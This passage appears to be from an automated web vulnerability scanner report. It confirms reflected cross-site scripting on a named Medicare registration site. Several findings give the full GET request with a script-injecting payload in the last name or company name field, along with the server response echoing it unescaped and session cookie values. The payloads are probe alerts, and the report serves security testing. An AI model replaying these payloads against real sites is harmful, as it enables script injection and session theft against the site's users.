document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="'"--></style></script><script>netsparker(0x000794)</script>" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" hei..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET '"--></style></script><script>alert(0x0007AA)</script>
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0007AA)%3C/script%3E&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000u84pyfOwVw16a4gcf8_3smp:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:53 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="'"--></style></script><script>netsparker(0x0007AA)</script>" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" hei..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET '"--></style></script><script>alert(0x0007C7)</script>
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0007C7)%3C/script%3E&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000DWcBNhq_-kXY6rEbekA0S26:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:56 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="'"--></style></script><script>netsparker(0x0007C7)</script>" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
